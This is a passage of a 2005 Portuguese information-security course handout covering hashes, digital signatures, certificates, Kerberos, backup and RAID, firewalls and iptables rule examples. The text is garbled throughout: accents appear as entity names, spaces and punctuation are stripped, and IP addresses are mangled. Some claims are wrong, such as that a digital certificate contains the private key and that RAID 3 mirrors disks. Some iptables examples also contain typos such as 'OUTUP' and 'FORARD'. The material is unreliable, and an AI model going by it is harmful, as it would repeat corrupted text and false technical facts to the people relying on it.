que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

